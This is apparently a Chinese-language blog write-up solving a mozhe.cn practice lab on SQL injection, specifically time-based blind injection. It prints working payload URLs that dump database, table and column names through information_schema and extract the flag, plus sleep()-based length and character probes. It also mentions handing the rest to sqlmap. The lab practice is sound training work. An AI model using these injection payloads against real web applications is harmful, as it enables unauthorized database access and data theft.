WEB安全-SQL注入漏洞测试(时间盲注)


前言 这是SQL注入的第八篇,之前忙着学校的考试,现在结束了就可以再专心打靶场一段时间了 链接如下:https://www.mozhe.cn/bug/detail/ZEZ4REhOck9KMnVKMjFLTitQWFg5dz09bW96aGUmozhe 正文 首先明确实训目标和思路 进入题目,发现情况如下,得知是时间盲注,直接上手开始验证 图上已经有提示使用?type=进行验证,不能像之前一样进行?id=1,正常是先构造闭合,最后发现竟然不需要…… http://219.153.49.228:41617/flag.php?type=1 and sleep(100) %23 1.根据回显信息进行注入 判断数据库的库名长度,但是在操作时,发现有回显,感觉这道题应该不止时间盲注一种方法,寻找注入点 http://219.153.49.228:41617/flag.php?type=1 %23   通过修改1发现下面的名称也随之改变,说明1是注入点,通过该注入点获取数据库各类信息 获取数据库名为 pentesterlab http://219.153.49.228:41617/flag.php?type=database() %23 获取数据库表名为  comment,flag,goods,user http://219.153.49.228:41617/flag.php?type=group_concat(table_name) from information_schema.tables where table_schema=database() %23 获取flag http://219.153.49.228:41617/flag.php?type=group_concat(column_name) from information_schema.columns where table_name='flag' %23 获取flag为 mozhe1 http://219.153.49.228:41617/flag.php?type=group_concat(flag) from pentesterlab.flag %23 拿到key 2.时间盲注 判断数据库库名的长度,在爆破中发现12是缺失的,说明是正确的,判断出数据库库名长度为12 http://219.153.49.228:41676/flag.php?type=1 and if(length(database())=10,sleep(10),0) %23 之后爆破数据库第一个字符为 ascii=112的字符,即为p,之后的操作直接sqlmap,不做赘述 http://219.153.49.228:41676/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(100),0) %23 PS:做完看了评论,发现单引号又可以,直接type=flag'直接出,也是笑死我了 总结 做完这些靶场,发现sql注入之所以难,主要因为十分的多样,每种做题的方式都不同,而且很难找到一种适合自己的做题方式,还是需要多磨练,不能想的太死了 一个小问题 其实在使用第一种方法的时候,刚开始是用单引号作为结束的,但是到拉取表的时候,没有加#发现始终没有东西出来,之后看了网上给的资料,发现是直接加#,没有单引号这一说 后来再次看的时候,用这一串试了一下 ?type=' %23 ,发现回显很有意思,如果是双引号情况也是一样,但是加了括号后就不行,这里觉得是没有闭合的,就像数字型一样,但是为什么题目上可以用单引号和双引号呢?可能是题目设置的问题吧,应该是这道题本身的特性,不应该作为深入的探究点,包括直接flag'爆出flag实在是太具有技巧性了 如果是type=' %23'''''',则是这样